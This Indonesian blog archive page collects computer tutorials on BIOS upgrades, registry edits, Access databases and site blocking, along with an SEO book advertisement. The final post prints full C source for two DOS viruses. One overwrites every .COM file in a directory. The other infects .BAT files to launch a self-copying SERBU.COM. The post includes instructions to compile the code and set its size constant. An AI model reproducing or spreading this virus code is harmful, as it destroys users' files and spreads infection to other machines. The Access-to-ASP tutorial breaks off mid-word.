RAngkuman Berita Terbaru: ilmu kompueter
Headlines News :

Latest Post

Tampilkan postingan dengan label ilmu kompueter. Tampilkan semua postingan
Tampilkan postingan dengan label ilmu kompueter. Tampilkan semua postingan

Cara MengUpgrade BIOS Komputer


Dalam dunia komputer, BIOS atau Basic Input-Output System, adalah suatu kode software yang ditanam di dalam suatu sistem komputer yang memiliki fungsi utama untuk memberi informasi visual pada saat komputer dinyalakan, memberi akses ke keyboard dan juga memberi akses komunikasi secara low-level diantara komponen hardware, seperti untuk meload sistem operasi dari storage ke RAM. BIOS dapat disebut sebagai miniatur dan suatu sistem operasi yang dikhususkan untuk komunikasi low-level pada hardware.
 
  BIOS biasanya ditulis dalam bahasa assembly atau mesin yang mana bahasa ini biasanya spesifik kepada suatu prosesor tertentu.
Jika komputer berjalan lancar atau tidak mengalami masalah, memang tidak perlu untuk melakukan upgrade (memperbarui) BIOS di komputer kita. Karena memang sangat beresiko bagi yang belum terbiasa, jika kurang hati-hati komputer malah tidak bisa dioperasikan lagi ;). Tetapi ada beberapa hal yang menyebabkan BIOS harus diupgrade, misalnya :
  • Ketika komputer dinyalakan, tiba-tiba berhenti sebelum masuk sistem operasi.
  • Komputer sudah cukup lama, dan kita memasang hardware baru yang tidak terdeteksi dengan baik, misalnya kita ganti Processor baru. Karena sering BIOS belum mengenali processor tersebut.
  • BIOS rusak, baik ditunjukkan dengan adanya pesan ataupun tidak. Misalnya invalid BIOS, BIOS corrupted dsb.
  • BIOS gagal mendeteksi hardware, seperti hardiks, CD-ROM, VGA dan lainnya
  • Ingin [sedikit] lebih mengoptimalkan kinerja komputer (hardware)
  • Adanya recomendasi dari vendor Motherboard
Jika BIOS di komputer rusak, maka otomatis tidak bisa menjalankan Sistem operasi seperti Windows Xp misalnya. Beberapa hal yang bisa menyebabkan kerusakan BIOS misalnya :
  • Mematikan komputer tanpa shutdown, atau listrik tiba-tiba mati (tanpa UPS)
  • Terkena Virus
  • Kesalahan meng-upgrade BIOS. Misalnya komputer mati ketika proses upgrade, BIOS tidak cocok dengan jenis motherboard dll.
Bagaimana meng-upgrade BIOS Komputer?
Untuk meng-upgrade BIOS, diperlukan 2 file, pertama file BIOS itu sendiri dan Flash Memory Writer utility, yaitu software untuk mengupgrade (flash) BIOS, misalnya AFLASH.EXE, AWD816a.EXE dan lainnya. File BIOS biasanya dengan ekstensi 001, BIN atau lainnya, sengan ukuran kurang dari 512 KB. Kebanyakan Untuk mengupgrade BIOS harus dilakukan melalui DOS atau MS-DOS, meski saat ini juga sudah banyak vendor yang menyediakan software yang berbasis Windows.
Yang perlu diperhatikan adalah mencari file BIOS dan Flash Writer yang tepat, karena jika tidak sesuai, komputer kemungkinan bakalan tidak bisa hidup lagi. Tetapi jika tipe sudah tepat, maka kemungkinan selalu berhasil, kecuali mati listrik atau komputer mati ketika flash BIOS sedang berjalan. Pada umumnya flash BIOS hanya berlangsung beberapa detik saja. Kurang dari 30 detik. Untuk melakukan flash BIOS, setelah masuk ke DOS, ketikkan nama Flash Writer, misalnya untuk AWD816a.EXE
C:\ADW816a
Maka biasanya ada keterangan cara pemakaiannya. Ikuti perintah yang ada, pastikan juga untuk membackup BIOS yang lama, dapat dilakukan dengan file flash writer itu juga. Keterangan yang ditampilkan mungkin berbeda-beda. Jika masih ragu, sebaiknya ditanyakan kepada yang lebih tahu. Atau bisa juga dibaca di buku petunjuk motherboard.
Bagaimana Cara menentukan Tipe Motherboard?
Ada beberapa cara menentukan tipe Motherboard yang dimiliki, antara lain :
  • Melihat buku petunjuk yang disertakan ketika membeli Motherboard
  • Melihat Tampilan awal ketika komputer menyala, biasanya ditampilkan seri atau tipe motherboard
  • Melihat langsung motherboard (membuka casing komputer), disana biasanya ditulis merk Motherboard dan tipenya.
Dimana Download BIOS dan Flash Utility tersebut?
Jika motherboard kita termasuk populer, maka vendor biasanya telah menyediakan download BIOS dan Flash Utility-nya, seperti MSI, Gigabyte dan sejenisnya. Berikut beberapa link untuk download BIOS maupun driver motherboard yang bisa dijadikan referensi :
Jika Motherboard anda tidak memiliki web site resmi untuk download driver, bisa dicoba mencari melalui www.google.com, dengan mengetikkan tipe motherboard diikuti kata seperti BIOS, download BIOS dan sejenisnya. Misalnya “BIOS P4VP-MX” atau “Download BIOS P4VP-MX”

Cara Menghapus Write Protection Pada flash disk

cara menghilangkan write protection pada flash diskSudah beberapa hari tidak posting artikel akhirnya hari ini bisa juga. Pada postingan kali ini saya akan berbagi tutorial singkat tentang cara menghapus Write Protection pada Removeable Disk terutama flash disk. Saya rasa cara ini sudah banyak yang bisa melakukannya,tapi apa salahnya saya mengulanginya bukan? Siapa tahu saja ada yang belum tahu dan kebetulan membutuhkannya.

Baiklah,saya akan menjelaskan sedikit tentang apa itu write protection.
Write Protection merupakan langkah aman yang dilakukan oleh user untuk melindungi flash disk maupun removeable disk lainnya dari ancaman virus ataupun pengguna yang tidak diperkenankan untuk menghapus file dari removable disk ataupun memindahkan file ke dalam Removeable Disk termasuk flash disk.

Jadi jika ada yang menanyakan “Bagaimana ciri-ciri komputer yang menggunakan perlindungan tersebut ?” Biasanya,jika seseorang menggunakan Write Protection tersebut maka pada saat memasukkan data ke Removeable disknya akan menampilkan pesan “Cannot copy ***** : The disk is write-protected. Remove the write protection or use another disk.” Yang artinya “Tidak dapat menyalin ***** : disk terlindungi. Hapus perlindungan penulisan atau gunakan disk yang lain.”





Saya sarankan agar sebelumnya anda harus memperhitungkan kapan anda harus atau tidak harus menghapus Write Protection ini,karena ini adalah termasuk langkah berbahaya jika komputer anda memang sedang terjangkit virus.kenapa saya katakan berbahaya?karena jika write protection ini anda hapus maka sangat mudah bagi virus atau malware lainnya untuk menginfeksi file yang ada pada removeable ataupun flash disk anda sendiri.

    Okay, tanpa perlu basa-basi saya akan jelaskan langkah-langkahnya :
  1. Pertama,buka Registry Editor. Caranya,klik button start – Run – lalu ketik Regedit dan tekan Enter.
  2. Langkah kedua,Expand HKEY_LOCAL_MACHINE - SYSTEM - CurrentControlSet - Control - lalu klik pada StorageDevicePolicies.
    Cara Menghapus Write Protection Pada Removeable Disk


  3. Lalu klik 2 kali pada Tulisan WriteProtect pada bagian kanan window registry editor.
    Cara Menghapus Write Protection Pada Removeable Disk

    maka akan tampil window seperti gambar dibawah :
    Cara Menghapus Write Protection Pada Removeable Disk

    Isikan dengan nilai 0 (nol) . Lalu klik Ok . dan tutup Jendela/window Registry Editor.
  4. Selesai.

Setelah anda melakukan langkah-langkah diatas maka dengan bebas anda dapat menghapus file di Flash disk ataupun menyalin file ke flash disk maupun removeable disk anda .

Jika anda menginginkan sebaliknya,agar removeable disk anda ingin di write-protect ,maka ganti nilai 0 (nol) menjadi 1 (satu).(lihat langkah 3)

Okay,semoga bisa membantu. Harap di-Share dan jangan lupa dikomentar jika ada yang perlu ditanyakan. Terima kasih :)

Rahasia Search Engine - Bisnis Gratis Melesat di Google

Rahasia Search Engine | Belajar Seo April 21st, 2009
www.top10informasi.blogspot.com
rahasia search engine
Sejak seminggu lalu saya coba optimize satu blog saya dengan judul Bisnis Gratis di bisnisgratis.net dan saya pantau di Google Indonesia, rupanya naik terus dan kini melesat ke posisi NOMOR SATU di Google untuk hari ini 21 April 2009 bersamaan dengan hari Kartini. Bersama ini pula untuk Wanita Indonesia saya ucapkan Selamat Hari Kartini ya. Sebelumnya saya memang telah mengerti tentang Search Engine dan bisa membuat beberapa blog bertengger di Top 10 Google. Dan setelah belajar lebih dalam maka bukan hanya satu dua tiga empat atau lima blog saya yang masuk jajaran top 10, tetapi mulai bertaburan, hehe..

Ok Andai anda kurang percaya bahwa blog Bisnis Gratis saya nomor 1 di Google Indonesia saat artikel ini saya tulis, silahkan masuk sendiri ke Google.co.id kemudian setelah sampai disana ketikkan kata kunci bisnis gratis maka Anda akan berjumpa dengan bisnisgratis.net. Dan sekarang tentu saja blog tersebut didatangi banyak pengunjung dari Search Engine, ditambah lagi memang sangat banyak orang mencari sesuatu yang GRATIS termasuk Bisnis Gratis.
SO What?

Saya ingin Anda pun mempunyai blog-blog yang ramai dan promosinya berjalan bagaikan autopilot, pengunjung berdatangan dari Google misalnya dan bisnis Anda jauh lebih laris. Dan tentu saja ini bisa Anda kerjakan. Daripada trial dan error lebih baik belajar langsung pada masternya yaitu Guru Saya. Anda tidak belajar pada saya karena saya pun sedang belajar, Anda belajar langsung pada guru saya yang spesialist di bidang Search Engine ini.
Dimana Belajarnya? ini dia bukunya: Tutorial Rahasia Search Engine
Best Regards
Mufli
Ohya, Blog bahasainggris.net saya juga nomor 1 di Google Indonesia untuk kata kunci belajar bahasa inggris, Anda boleh bantu saya belajar disana, banyak yang sumbangkan artikel seperti pengalaman belajar bahasa Inggris, tips belajar bahasa inggris, dan sebagainya. Alamatnya di bahasainggris.net (silahkan ketik di browser Anda).

Membuat Halaman Web Dinamis dengan Access


Dalam lingkungan database data sering kali berubah dan kita perlu memberikan informasi yang up-to-date kepada user. Dengan menggunakan Microsoft Active Server Pages (ASP), kita dapat membuat halaman web dinamis yang terhubung ke database.
Pada contoh ini, kita akan membuat katalog produk untuk web user dan sekali lagi kita akan kembali menggunakan contoh database Northwind dan Microsoft Access 2002. Jika Anda belum pernah menggunakan contoh database tersebut, lihat petunjuk instalasi yang terdapat pada kotak keterangan. Selanjutnya buka database tersebut. Pada waktu Anda melihat jendela utama database, pilih submenu Table. Klik ganda Product di dalam Table seperti yang ditunjukkan pada gambar di atas.
Klik menu File dan kemudian pilih Export. Pada jendela selanjutnya yang tampil Anda dapat memilih format ekspor dan nama file. Dari menu "Save as type:", pilih Microsoft Active Server Pages. Sampai di sini, Anda perlu memberi nama file Anda. Pada contoh ini kita beri nama Products. Jangan lupa, Anda perlu menggunakan file browser untuk menunjukkan path yang sesuai untuk menampilkan file Anda di Internet. Hal ini bergantung kepada bagaimana Anda mengonfigurasi web browser Anda. Path default untuk Internet Information Server adalah \Inetpub\wwwroot. Jika sudah selesai, klik tombol Save All untuk melanjutkan.
Pada kotak dialog Microsoft Active Server Pages Output, Anda dapat memberikan informasi lebih lengkap tentang ASP Anda. Pertama, Anda mungkin ingin memilih suatu template HTML agar data Anda tampil lebih menarik. Untuk itu, klik tombol Browse dan pilihlah template HTML yang ingin Anda gunakan. Beberapa contoh template HTML dapat Anda lihat di dalam direktori \Program Files\Microsoft Office\Templates\1033\. Pada contoh ini kita gunakan "Simple Layout.htm".
Entri berikutnya dalam kotak dialog adalah Data Source Name. Sangat penting untuk mengingat apa yang Anda masukkan di siniia mendefinisikan koneksi yang digunakan oleh server untuk menerima informasi database. Anda dapat menggunakan sembarang nama. Pada contoh ini, kita beri nama Data Source kita "Northwind". Perhatikan bahwa pada bagian Data Source Anda dapat menentukan username dan password untuk mengakses database tersebut. Hal ini penting jika kita menggunakan mekanisme sekuriti Microsoft Access untuk database Northwind. Kita tidak akan melakukan itu di sini, jadi biarkan saja bagian itu kosong.
Pada bagian terakhir kotak dialog, Anda dapat menentukan URL dan nilai timeout ASP. URL adalah metode yang digunakan untuk mengakses ASP melalui Internet. Anda harus memasukkan nama yang sesuai dengan nama file dan path yang dipilih pada langkah 2. Jika Anda memasukkan file di dalam direktori \Inetpub\wwwroot\, maka URL-nya adalah "http://localhost/Products.asp", di mana localhost adalah nama komputer Anda (misalnya database.pcmedia.co.id). Dengan nilai timeout, Anda dapat menentukan berapa lama koneksi dibiarkan terbuka untuk user yang idle. Lima menit merupakan awal yang baik.

Selanjutnya Anda akan melihat kotak dialog ODBC Data Source Administrator. Untuk membuat sumber data baru, pertama klik tab System DSN pada bagian atas kotak dialog. Kemudian, klik tombol Add untuk memulai proses pembuatan Data Source baru. Proses pembuatan Data Source baru dimulai dengan kotak dialog Create New Data Source. Di sini Anda dapat memilih driver yang ingin digunakan sebagai sumber data. Pada contoh ini, kita gunakan Microsoft Access Driver (*.mdb). Klik tombol Finish untuk melanjutkan.
Pada kotak dialog ODBC Microsoft Access Setup, masukkan nama Data Source. Nama yang Anda masukkan di sini harus sama dengan nama yang dimasukkan sebelumnya pada langkah 4 atau link tidak akan dapat berfungsi dengan baik. Karena pada langkah 4 kita menggunakan nama "Northwind", maka di sini kita namakan Data Source-nya "Northwind". Di sini Anda juga dapat memasukkan keterangan mengenai Data Source sebagai referensi untuk masa yang akan datang. Pada contoh ini, Data Source kita beri akan deskripsi "Database Northwind".
Klik tombol OK dan file ASP Anda akan disimpan ke path yang telah ditentukan. Jika mencoba mengakses halaman sekarang, Anda akan menerima pesan ODBC error. Hal ini karena kita belum menentukan sumber data sehingga web server tidak dapat menemukan database. Agar halaman berfungsi sebagaimana mestinya, Anda perlu menentukan sumber data ODBC sehingga web server dapat mengakses database. Teruskan ke langkah berikutnya untuk membuat halaman dapat berfungsi.
Proses ini dapat sedikit berbeda bergantung kepada operating system yang Anda gunakan. Untuk semua operating system, klik Start, Settings, dan kemudian pilih Control Panel. Jika Anda menggunakan Windows 95 atau 98, klik ganda icon ODBC (32-bit). Jika Anda menggunakan Windows NT, pilih icon ODBC. Jika Anda menggunakan Windows 2000 atau Windows XP Professional, klik ganda Administrative Tools dan kemudian klik ganda icon Data Source (ODBC).
Klik tombol Select dan kemudian gunakan jendela navigasi file untuk mencari file database yang ingin Anda akses. Jika Anda menggunakan instalasi default, database akan berada di Program Files\Microsoft Office\Samples\Northwind.mdb. Klik tombol OK pada jendela navigasi dan kemudian klik tombok OK pada jendela setup ODBC. Yang terakhir, klik tombol OK pada jendela ODBC Data Source Administrator. Gunakan web browser Anda untuk memastikan Active Server Page berfung

Cara Membuat Database Menggunakan Microsoft Access

Untuk membuat database beserta tabel-tabelnya dengan menggunakan Microsoft Access, maka terlebih dahulu Anda harus memahami gambaran sebuah struktur database (baca disini: Database itu apa?). Perlu diketahui bahwa jika Anda ingin membuat suatu program, Anda memerlukan file database yang akan diproses. File database ini hanya dibuat struktur databasenya saja, tidak perlu diisi langsung record-nya. File database ini juga dibuat satu kali saja, selanjutnya melalui perintah-perintah program file database tersebut diproses.
Untuk membuat file database, Anda dapat menggunakan program Microsoft Access, SQL, atau Oracle. Pada artikel ini Anda menggunakan Microsoft Access, namun Microsoft Access yang akan ditulis disini hanya sebatas untuk membuat struktur databasenya saja.

Untuk membuat database kosong dengan Microsoft Access lakukan langkah-langkah berikut:

  1. Jalankan aplikasi Microsoft Access (yang digunakan pada artikel ini Microsoft Access 2003).
  2. Pilih "Blank Database".
  3. Setelah itu akan muncul tampilan kotak dialog File New Database yang meminta Anda untuk memberikan nama File Database serta memilih lokasi  di mana data akan disimpan.
  4. Klik pada kolom file name, gantilah db1 dengan coba1.
  5. Setelah nama database ditentukan pilih Create. Kemudian akan muncul tampilan seperti Gambar 1.
Gambar 1. Kotak coba1 Database

Membuat Tabel Database Baru

Setelah Anda selesai membuat database baru yang masih kosong yaitu coba1.mdb, langkah berikutnya yaitu merancang dan membuat tabel pada database tersebut, yang nantinya akan diisi. Namun sebelum Anda memulainya, terlebih dahulu Anda harus mengenal jenis data yang akan dipakai dan ditempatkan pada setiap field database. Jenis data tersebut adalah:
  • Text, dapat menerima huruf, angka, tanda baca, dan spasi. Sebuah field yang berisi data teks ini dapat menampung 255 karakter, atau sebanyak yang kita inginkan yaitu dengan menentukan besarnya karakter data dengan mengatur properti Field size-nya.
  • Memo, dapat menerima teks apa saja sebagai suatu keterangan atau catatan. Data ini dapat menampung 65.535 karakter.
  • Number, berisi data bilangan yang digunakan untuk perhitungan matematis. Lebar kapasitas data ini bergantung pada properti fieldSize.
  • Currency, berisi data bilangan yang digunakan dalam perhitungan matematis terutama untuk perhitungan yang berkaitan dengan uang termasuk data-data dengan 1 s/d 4 angka di belakang tanda desimal, besar nilainya tepatnya adalah -922.337.203.685.477.5808 s/d 922.337.203.685.477.5807.
  • Yes/No, berisi nilai yes atau no, atau field yang hanya memiliki dua kemungkinan nilai (yes/no, on/off atau true/false).
  • Auto number, berisi bilangan yang berurutan atau bilangan acak yang unik dimana secara otomatis diberikan oleh Microsoft Access saat record baru ditambahkan ke dalam tabel. Jenis data auto number ini memiliki sifat tidak dapat diubah-ubah nilainya oleh user.
  • Date/Time, hanya dapat menerima tanggal/waktu, dan nilai datanya dari tahun 100 sampai dengan 9999.
Setelah Anda mengetahui jenis-jenis data yang dipakai dan ditempatkan pada setiap field database, maka berdasarkan jenis data tersebut, buat dan rancanglah sebuah tabel database baru dengan mengikuti langkah berikut:
  1. Pada jendela database seperti pada Gambar 1, klik tombol New, setelah itu akan muncul kotak dialog New Table seperti pada Gambar 2.
  2. Pada kotak dialog New Table tersebut, pilih Design View kemudian klik tombol OK, maka akan muncul kotak dialog Table database seperti Gambar 3.
  3. Klik baris pertama dari kolom Field Name, kemudian ketikkan Kode Barang pada kolom Field Name tersebut sebagai nama field name. Field ini nantinya akan diisi data kode barang.
  4. Tekan tombol Enter, maka pointer akan berpindah ke kolom Data Type. Isi teks pada kolom Data Type tersebut.
  5. Tentukan lebar data pada field size dengan mengubah angka 50 menjadi angka 6.
  6. Ulangi langkah 3 sampai 5 dengan berpindah baris, tambahkan field Nama Barang (tipe Text, Lebar 30), field Harga Satuan (tipe Number), dan field Banyaknya Barang (tipe Number, Integer).
  7. Jika proses pengisian serta pembuatan tabel selesai dan Anda ingin menutup dialog Design Table, tutuplah Windows Table 1 dengan menekan icon "X" di pojok kanan window, kemudian klik tombol Yes untuk menyimpan tabel desain yang telah dibuat. Setelah Anda  menutup kotak dialog tabel, Microsoft Access akan menampilkan kotak isian "Save As", kemudian ketikkan nama tabelnya dengan nama yang Anda inginkan, misalnya "Barang" dan klik tombol OK untuk menutup kotak tersebut.
  8. Microsoft Access kemudian akan mengingatkan bahwa tabel yang Anda buat belum mempunyai kunci primer (primary key). Saat ini kliklah tombol No.
Gambar 2. Kotak Dialog New Table


Gambar 3. Kotak Dialog Table Database

Memodifikasi Tabel Database

Karena suatu file database dapat terdiri atas satu atau banyak tabel, maka jika Anda membuka atau mengaktifkan satu file database, seluruh tabel dalam file database Microsoft Access yang Anda buka dapat langsung bisa dilihat, dipilih, atau diubah. Untuk itu lakukan langkah-langkah  berikut ini untuk membuka dan memodifikasi tabel database sebagai berikut:
  1. Pilih dan buka file database yang telah Anda buat yaitu coba1 sehingga akan muncul kotak dialog database AVB.
  2. Pilih tabel Barang yang ingin dimodifikasi (diperbaiki, dihapus, atau ditambah) field databasenya, kemudian klik Design, maka akan muncul kotak dialog tabel barang.
  3. Modifikasi field database yang ingin Anda modifikasi, dengan menggunakan langkah-langkah yang hampir sama dengan membuat tabel database baru. Misalnya Anda tidak memerlukan field database harga satuan, maka kliklah harga barang lalu hapus field harga satuan sekaligus jenis tipe datanya. Namun jika Anda ingin mengganti harga satuan menjadi harga barang, kliklah field name "Harga Satuan" kemudian ganti menjadi harga barang.
  4. Setelah selesai memodifikasi field database, tutup kotak dialog tabel barang tersebut dengan mengklik icon "X" pada kotak dialog tabel barang, kemudian klik Yes untuk menyimpan tabel database yang telah dimodifikasi tersebut.

cara memblokir situs porno dari firefox,mozila/web browser

Mendapatkan informasi melalui teknologi internet sudah menjadi kebutuhan banyak orang dalam kehidupan sehari-hari. Teknologi internet tentu berdampak positif bila digunakan dengan tujuan baik. Namun, dampak positif dari teknologi internet juga dapat berakibat buruk bila digunakan secara tidak bertanggung jawab. Bukan hanya orang dewasa, tetapi banyak juga anak yang telah ketagihan atau kecanduan internet. Mereka betah berlama-lama di depan komputer sehingga lupa akan kewajiban mereka yang lebih penting untuk makan, mandi bahkan enggan untuk belajar. Ciri-ciri seorang anak yang sudah kecanduan Internet umumnya adalah akan marah bila Anda membatasi untuk menggunakan Internet. Dia juga cenderung enggan berkomunikasi dengan orang lain dan bersifat tertutup atau hanya mau berteman dengan orang tertentu saja. Yang lebih memprihatinkan adalah apabila seorang anak ketagihan pornografi  di Internet. Seorang anak yang kecanduan akan sulit menghentikan kebiasaannya sehingga dia akan melakukan hal tersebut berulang kali. Agar kebiasaan buruk ini tidak berlanjut, perlu kita batasi dengan cara memblokir situs yang berbau porno atau hal yang tidak baik lainnya di Internet, seperti: situs judi, kekerasan, SARA dan sebagainya.

Memblokir Situs Tanpa Menggunakan Tool atau Tambahan Aplikasi Tertentu

Agar komputer tidak dapat digunakan untuk membuka situs-situs tidak baik, untuk semua browser yang ada, seperti: Mozilla, Microsoft Internet Explorer, Opera, dan sebagainya, lakukanlah langkah-langkah sebagai berikut:
1) Pada Windows Explore, buka folder: c:/WINDOWS/system32/drivers/etc.
2) Klik 2 kali file hosts (file ini tidak memiliki ekstensi), setelah itu pada layar dialog Open With yang muncul pilih aplikasi notepad untuk membukanya. Pada editor notepad akan terlihat seperti berikut :

# Copyright (c) 1993-1999 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host

127.0.0.1       localhost
3) Setelah itu tambahkan saja di bawah teks "127.0.0.1 localhost" dengan nama domain website yang ingin di blokir, misalnya www.tube8.com dan www.slutload.com, tapi sebelumnya menambahkan angka-angka seperti contoh di bawah ini:
127.0.0.1 www.contoh1.com
127.0.0.2 www.contoh2.com
127.0.0.3 www.contoh3.com
Untuk angka perubahan dilakukan hanya pada angka yang terakhir saja. Bila situs yang diblokir banyak, tambahkan lagi dibawahnya sebelum nama domain situsnya dengan angka-angka 127.0.0.5, 127.0.0.6, 127.0.0.7, dan seterusnya.
4) Simpan perubahan tersebut, dengan klik menu File-Save.
Cara ini sangat memiliki kelemahan, karena proteksi yang Anda lakukan akan dengan mudah dibobol anak Anda apabila artikel ini dibaca juga oleh mereka.

Memblokir Situs dengan Menggunakan Tool atau Tambahan Aplikasi Tertentu pada Browser yang Digunakan

A. Mozilla Firefox

Memblokir situs tertentu dengan Mozilla Firefox dapat dilakukan dengan menginstal add-ons BlockSite terlebih dahulu. Restart browser Mozilla Firefox setelah proses penginstalan add-ons BlockSite. Kemudian setelah browser Mozilla Firefox restart klik pada menu Tools pilih add-ons pada add-ons pilih tab extensions klik pada Options BlockSite. Akan muncul jendela baru kemudian silahkan anda klik tombol Add masukan URL situs yang ingin anda block. Agar tidak bisa masuk ke add-ons BlockSite option untuk merubah URL situs yang diblok, pilihan password di-enable-kan dan masukan password yang kira-kira mudah di ingat ini untuk menjaga agar sang pengguna tidak bisa masuk ke add-ons BlockSite option, kemudian klik OK.
Selain menggunakan BlockSite, blokir situs tertentu bisa juga dilakukan dengan menggunakan Procon Latte. Instal add-ons Procon Latte klik di sini.

B. Internet Explorer

Internet Explorer memiliki sebuah tool untuk memblokir situs yang berbau porno dan materi kekerasan untuk dewasa yang didasarkan pada sistem rating. Berikut beberapa langkah untuk mengaktifkan sistem tersebut :
  1. Buka Internet Explorer, pilih Menu, Tools Internet Options. Di Internet Options, click tab Content.
  2. Dalam Content Advisor, click tombol Enable. Di jendela baru yang dinamakan Content Advisor, pilih klasifikasi tabel. Kemudian akan tampil sebuah tabel yang berisi content dewasa dengan tipe yang berbeda, seperti kata “Nu**ty”, “S*x”, dan “V**lence”, dan sebagainya.
  3. Pilih salah satu kategori dan tipe content, pilih permission yang akan diterapkan pada kategori tersebut. Ulangi operasi ini untuk setiap kategori, dan ketika sudah selesai, click OK.
  4. Untuk membuat password yang tidak dapat diubah oleh siapapun tanpa seizin Anda, pilih tab General di jendela Content Advisor.
  5. Click tombol Password, kemudian akan tampil jendela kecil untuk menulis password. Tekan OK dan OK lagi untuk jendela Content Advisor.

C. Opera

Cara blokir situs tertentu di opera dengan masuk ke menu Tools–>Preferences–>Advanced–>Content–>Blocked Content–>tulis nama situs yang akan diblokir kemudian pilih Add.

Virus-virus yang Dibuat dengan Bahasa Pemrograman C


Bahasa pemrograman tingkat tinggi/atas, seperti: Basic, Visual Basic, C, C++, Visual C++ dan lainnya, adalah bahasa pemrograman yang banyak digunakan oleh para programmer saat ini. Bahasa pemrograman tingkat tinggi ini banyak menyediakan fungsi-fungsi built-in yang menakjubkan, memungkinkan programmer terhindar dari penggunaan bahasa mesin yang jauh lebih rumit. Untuk membuat program virus, penggunaan bahasa pemrograman tingkat tinggi akan menjadi lebih memudahkan, namun walaupun demikian juga dijumpai beberapa kendala. Yang pertama adalah sebagian besar bahasa tingkat tinggi tidak dapat digunakan untuk pemrograman pada tingkat dasar sistem, bahkan dengan bahasa C sekalipun tidak akan bisa dilakukan dengan mudah. Akibatnya, virus yang diciptakan pun hanyalah virus yang primitif dalam hal mekanisme reproduksinya, walaupun rutinitas aktivasinya terkadang cukup mengesankan. Kelemahan lainnya yang sangat penting adalah kebanyakan virus yang dibuat oleh bahasa pemrograman tingkat tinggi memiliki ukuran file paling sedikit 10 KB, ukuran yang sangat tidak efisien untuk sebuah virus. Ukuran memory program yang tidak praktis ini akan mudah terlihat oleh pengguna, disebabkan adanya memory terpakai yang tidak jelas apa penyebabnya.
Perlu Anda ketahui, bahwa semua program virus komputer memiliki beberapa langkah dasar yang sama, yaitu: mencari file untuk dinfeksi, baik itu executable, sumber, atau file apapun (dokumen, gambar, video, dan sebagainya), kemudian menimpa atau menyusup ke file yang ditemukan tersebut. Menentukan cara aktivasi rutin program virus, menunggu dan kembali ke sistem utama komputer, dan keseluruhan aktivitas tersebut dilakukan tanpa dapat terlihat oleh pengguna komputer. Nah! pendek kata atau tepatnya pendek tulisan, pada kesempatan ini saya akan menghidangkan kepada Anda contoh program virus yang dibuat dengan bahasa C. Kenapa pakai bahasa C? Ini merupakan pertanyaan yang sangat baik jika tidak Anda lanjutkan dengan pertanyaan "kenapa ngga pakai bahasa pakpak saja?" hehehe. Jawabnya karena bahasa C merupakan program yang memiliki struktur yang luwes, berukuran kecil, berkecepatan tinggi, memori yang efisien, dan struktur perintah yang bebas. Bahasa C adalah bahasa pemrograman yang dapat dikatakan berada antara bahasa beraras rendah (bahasa yang beorientasi kepada mesin) dan bahasa  beraras tinggi (bahasa berorientasi pada manusia).

Salah satu contoh perintah program virus dengan bahasa C pada artikel ini adalah virus yang menimpa kedalam file COM. Berhati-hatilah menguji parogram ini, karena program virus ini akan menimpa ke semua file aplikasi dengan ekstensi .com. Pada saat Anda melakukan kompilasi program virus ini, perhatikan ukurannya, apa bila tidak sama dengan 9489 byte, ubahlah ukuran virus pada perintah program sebesar ukuran hasil kompilasi tersebut. Baiklan, ngga usah banyak basa-basi yang membosankan, inilah listing programnya.
#include <stdio.h>
#include <dos.h>
#include <dir.h>
FILE *Virus,*Host;
int i,j,yoi;
char buff[256];
struct ffblk ffblk;
main()
{
yoi = findfirst("*.COM",&ffblk,0);  /* Mencari file berekstensi .COM */
while (!yoi)  /* Loop untuk semua file .COM dalam direktori*/
{
printf("Jangkiti  %s\n", ffblk.ff_name);  /* menginformasikan pengguna*/
Virus=fopen(_argv[0],"rb");  /* buka file yang akan diinfeksi  */
Host=fopen(ffblk.ff_name,"rb+");  /* buka host baru file  */
i=9489;  /* ukuran virus   */
while (i>256)  
{        
fread(buff,256,1,Virus);  /* potongan byte sampai  */
fwrite(buff,256,1,Host);  /* kiri < 256          */
i-=256;
}
fread(buff,i,1,Virus);  /* selesai meng-copy     */
fwrite(buff,i,1,Host);
fcloseall();  /* menutup file dan*/
yoi = findnext(&ffblk);  /* pergi ke file lainnya. */
}
return (0);
}
Berikut ini juga contah perintah program virus lainnya yang menggunakan bahasa C. Program virus ini akan menjangkiti semua file yang berekstensi BAT. Kode virusnya adalah sebagai berikut:
#include <stdio.h>
#include <dos.h>
#include <dir.h>
#include <string.h>
struct ffblk ffblk;
main()
{
char old_dir[MAXPATH];
Get_Path(old_dir);            /* simpan direktori lama  */
Pick_A_Dir();                 /* temukan direktori baru */
Infect_Directory();           /* infeksikan   */
chdir(old_dir);               /* kembali ke direktori lama */
return 0;
}
Pick_A_Dir()
{
int yoi;
chdir("..");                 
yoi=findfirst("*.BAT",&ffblk,0);
if (yoi)
{
chdir("\\");
yoi=findfirst("*.BAT",&ffblk,0);
if (yoi) chdir("\\DOS\\");
}
return 0;
}
Infect_Directory()
{
int yoi;
yoi = findfirst("*.BAT",&ffblk,0);
while (!yoi)                     
{                              
Do_Batch();              
yoi = findnext(&ffblk); 
}
if (findfirst("SERBU.COM",&ffblk,0))  /* jika SERBU.COM */
Copy_Virus();}                     /* tidak ada, copykan pada direktori*/
return 0;                            
}
Do_Batch()
{
FILE *batch;
char Infection_Buffer[12];
char vpath[MAXPATH];
Get_Path(vpath);       
if (vpath[3]==0) vpath[2]=0;
batch=fopen(ffblk.ff_name, "rt+");
fseek(batch, -11, SEEK_END);
fread(Infection_Buffer,11,1,batch);
Infection_Buffer[11]=0;     
if (strcmp(Infection_Buffer,"SERBU.COM"))
{          
fseek(batch, 0, SEEK_END); 
fprintf(batch,"\n%s\\SERBU.COM",vpath);
} 
fclose(batch);
return 0;
}
Copy_Virus()
{
FILE *old_virus, *new_virus;
int write_length;
char copy_buffer[1024];
old_virus=fopen(_argv[0],"rb");
new_virus=fopen("SERBU.COM","wb");
write_length=1024;
while (write_length==1024)
{
write_length=fread(copy_buffer,1,1024,old_virus);
fwrite(copy_buffer,write_length,1,new_virus);
}
fclose(old_virus);
fclose(new_virus);
return 0;
}
Get_Path(char *path)
{
strcpy(path, "A:\\");
path[0] ='A' + getdisk();
getcurdir(0, path+3);
return 0;
}
